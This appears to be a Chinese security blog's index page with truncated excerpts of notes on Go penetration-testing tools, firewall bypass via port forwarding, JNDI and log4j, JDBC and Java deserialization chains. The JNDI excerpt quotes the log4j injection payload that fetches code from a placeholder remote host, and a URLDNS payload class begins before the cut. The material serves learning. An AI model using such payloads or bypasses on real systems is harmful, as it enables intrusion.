Go渗透测试笔记(五)
Go渗透测试笔记(五)–DNS的利用0X00 前言DNS用于定位Internet,并将其转化为IP地址。他可以成为攻击者手段的有效武器。因为组织通常允许协议的出站连接离开受限制的网络,并且无法充分监视其使用。
0x01 编写DNS客户端Go本质上可以用内置的包net,支持大多数的DNS类型,内置包的好处在于简单易用的API,例如LookupAddr(addr string)返回给定IP地址的主机名列表,但是使用内置包也有缺点:无法指定目标服务器,不过,该包会使用操作系统配置的解析器。另一个缺点是:无法对结果进行深入检查
为了解决这个问题,我们使用一个优秀的由Miek Gieben编写的第三方包,即Go DNS包
同样,安装命令如下:
go get github.com/miekg/dns
1. 检索A记录编写如下代码
1234567891011package mainimport "github.com/miekg/dns"func main() { var msg dns.Msg fqdn := dns.Fqdn("baidu.com&quo ...
Go渗透测试笔记(四)
Go渗透测试笔记(四)–HTTP服务器,路由,中间件0x00 HTTP服务器基础1. 构建一个简单的服务器1234567891011121314package mainimport ( "fmt" "net/http")func hello(w http.ResponseWriter,r * http.Request){ fmt.Fprintf(w,"Hello %s \n",r.URL.Query().Get("name"))}func main() { http.HandleFunc("/hello",hello) http.ListenAndServe(":8000",nil)}
主要是使用HandleFunc创建一个Handler,然后启动监听器访问即可
同时在写处理请求的时候,需要两个参数,一个是http.ResponseWriter,用于对请求的写入,另一个是Request类型的指针,它运训我们从传入的请求信息中去 ...
Go渗透测试笔记(三)
Go渗透测试笔记(三)—HTTP客户端与工具的远程交互0x00 Go的HTTP基础知识
HTTP是一种无状态的协议,服务器不会维护每个请求的状态,而是通过多种方式跟踪其状态,这些方式可能包括:会话标识符,cookie,HTTP标头等。客户端和服务器有责任正确协商和验证状态
其次,客户端和服务器之间的通信可以一部或者同步进行,但他们需要以请求/响应的方式循环运行。可以在请求头中添加几个选项和表标头,以影响服务器的行为并创建可用的Web应用程序。最常见的是服务器托管Web浏览器渲染的文件,以生成数据的图形化,组织化和时尚化的表示形式。API通常使用XML,JSON,MSGRPC进行通信,某些情况下,可能检索到的是二进制格式,表示下载任意文件类型
0X01 调用HTTP API1. 调用HTTP方法包使用net/http
这些函数的使用格式如下
123Get(url string)(resp *Response,err error)Head(url string)(resp * Response,err error)Post(url string,bodyType string,body ...
博客搭建
懒人搭建博客前言最近想重启博客这个东西,发一些自己写的笔记啥的,由于重装系统之后之前的东西都不见了,所以,,还得重新来一下(xdm,一定要做好备份啊,不要憨憨的不备份重装系统)
搭建其实还是使用最简单的hexo + butterfly搭建的,没有什么难点,主要是遇到了一个在butterfly主题修改_config.yml的时候,有一个背景图片始终无法加载成功,但是在本地预览的时候是可以正常访问的,在hexo d后则是不能访问,在把public文件夹放置公网后发现,发现应该是nodejs版本的问题,最后解决成功了,,(菜鸡花了两天时间)
这里就放一下用到的命令和对应的版本吧
#需要安装的东西npm install –save hexo-deployer-gitnpm install –save hexo-renderer-jade hexo-generator-feed hexo-generator-sitemap hexo-browsersync hexo-generator-archive
#主题
git clone -b master https://github.com/jer ...
go渗透测试笔记(二)
Go渗透测试笔记(二)—TCP,扫描器和代理0x00 前言TCP是面向连接协议的主要标准,也是现代网络的基础。
作为攻击者,我们应当了解TCP的工作原理,并且能够开发可用的TCP结构体,以便可以识别 打开/关闭 的端口,找出错误的结果。
如误判(syn-flood防护)以及通过端口转发绕过出口限制等等。
0x01 理解TCP的握手机制
0x02 通过端口转发绕过防火墙企业组织可以配置防火墙,以防止客户端连接到某些服务器和端口,同时允许访问其他服务器和端口。我们可以使用中间系统代理连接绕过或者穿透防火墙,从而绕过这些限制。
许多企业网络会限制内部资产建立与恶意站点的HTTP连接。假设有一个名为evil.com的恶意网站。如果有员工直接浏览evil.com,则浏览器会阻止,但是,如果员工拥有允许通过防火墙的外部系统,(如 stacktian.com),则员工可以利用允许的域来反弹与evil.com的连接
可以使用端口转发绕过多种限制性网络配置,例如,可以通过跳箱转发流量,以访问网络或者访问绑定到限制性接口的端口
0x03 编写一个TCP扫描器1. 测试端口的可用性创建端 ...
Go渗透测试笔记(一)
GO渗透测试笔记(一)0X01 基本使用
当在某些极端的情况可以使用go build -ldflags "-w -s"进行编译,从二进制文件中剥离调试信息和字符表,从而减少文件的大小,适合在某些极端的情况进行嵌入(大约可以减少 30%)
创建使用不同架构上使用的二进制文件—交叉编译
go doc 函数 –>可以查询有关的包,函数的使用方法文档
go get —-> 很多情况下,go程序需要要引入第三方包,可以使用此命令进行导入
即使你使用了 import 导入了相应的包,如stacktian/ldapauth,也无法访问。必须先下载实际的包,
go get “github.com/stacktian/ldapauth” 下载实际的包,并且放在 $GOPATH/SRC目录下
go 引入了两个工具dep和mod来锁定清理依赖项,有助于避免正在进行的依赖项不一致
go mod tidy
go mod download 是使用mod时经常使用的两个命令
go fmt –>可以自动格式化源代码,强制使用正确的 ...
JNDI入门
JNDI入门指北前言log4j2 宛如过年一般,趁此机会对没理清的 JNDI 协议仔细再捋一捋
log4j的payload很好记:${jndi:ldap/rmi://xxxxxx/exp}
那么,我们就需要研究一下是怎么来的。
首先来看rpc
RPCRPC即 Remote Procedure Call(远程过程调用),==是一种技术思想而并非一种规范的协议==,是一种通过网络从远程计算机请求服务的过程。
常见 RPC 技术和框架有:
应用级的服务框架:阿里的 Dubbo/Dubbox、Google gRPC、Spring Boot/Spring Cloud。
远程通信协议:RMI、Socket、SOAP(HTTP XML)、REST(HTTP JSON)。
通信框架:MINA 和 Netty。
一个rpc框架有以下必备条件:传输协议,序列化,注册中心,服务路由,负载均衡,IO框架,心跳机制,服务鉴权,服务隔离,服务治理,监控埋点。
Dubbo:国内最早开源的 RPC 框架,由阿里巴巴公司开发并于 2 ...
JDBC反序列化漏洞
JDBC反序列化漏洞对于使用java各种组件的项目,如果所使用的组件本身就存在漏洞,那么大部分实在因为在参数传递的时候收到了污染,而今天介绍的这一种,则是相对于在协议层面上的利用。
JDBC
Java数据库连接,(Java Database Connectivity,简称JDBC)是Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,提供了诸如查询和更新数据库中数据的方法
简单来说,你可以理解为 JDBC是封装好的数据库接口,你可以直接使用java调用该组件的接口,他把数据库的协议封装好了,让你无需对协议进行理解即可使用。
封装也是java的特性之一,,,mysql,mssql,oracle…—>JDBC—>Mybatis—->Mybatis plus
除了JDBC外,还有JNDI(Java Naming and Directory Interface,Java命名和目录接口)(下节课讲):LDAP,RMI,JRMP,SOAP, JMS ,JTA ,JWT等等,都是JAVA在开发中常用的协议
JDBC反序列化漏洞这是2019年黑帽大会的一个议题,详 ...
java安全入门(二)--CC链
java安全入门(二)上节的内容,重点要知道:
java是半编译型,半解释性语言,需要将编译好的.class文件放入JVM中加载
我们通过反射可以从已经运行的JVM中拿到我们想要的类,从类中获取构造方法,进行实例化,调用相关的方法,主要是Runtime的命令执行
java的序列化和反序列化,反序列化时会调用readObject()方法,我们构造的readObject方法,需要满足和原项目中的包名一样的包名
hexdump -C Calc.class
上节课忘记讲了,,我们在传递数据的时候,为了保险稳定,一般会传入字节码
可以看到,class中是带了包名,我们说过,类是对象的模板,那么,在序列化对象的时候,如果包名出现了问题,自然会遇到一系列问题。
CC链1我们已经知道了序列化和反序列化漏洞的基本原理,那么怎么通过构造恶意数据,让反序列化产⽣⾮ 预期对象呢?
我们以CC链进行举例
组件介绍Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象 ...
java安全入门(一)
java安全入门(一)首先,我们需要了解java得基本语法,没有了解得同学,建议学习完java得基本语法之后,再来学习
编译型语言和解释性语言大家之前都或多或少接触过python与php,刚开始可能接触过一些C,但是其实这几种是不同的语言
有的编程语言要求必须提前将所有源代码一次性转换成二进制指令,也就是生成一个可执行程序(Windows 下的 .exe),比如C语言、C++、Golang、Pascal(Delphi)、汇编等,这种编程语言称为编译型语言,使用的转换工具称为编译器
有的编程语言可以一边执行一边转换,需要哪些源代码就转换哪些源代码,不会生成可执行程序,比如 Python、JavaScript、PHP、Shell、MATLAB等,这种编程语言称为解释型语言,使用的转换工具称为解释器。
简单理解,编译器就是一个“翻译工具”,类似于将中文翻译成英文、将英文翻译成俄文。但是,翻译源代码是一个复杂的过程,大致包括词法分析、语法分析、语义分析、性能优化、生成可执行文件等五个步骤,期间涉及到复杂的算法和硬件架构。解释器也是一样,可以参考《编译原理》
但是,我们要学的java和c ...
urldns调试
URLDNS链调试首先看一下payload
1234567891011121314151617181920212223242526272829303132333435363738394041import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class URLDNS { public static Object urldns() throws Exception{ //漏洞出发点 hashmap,实例化出来 HashMap<URL, String> hashMap = new HashMap<URL, String>(); //URL对象传入 ...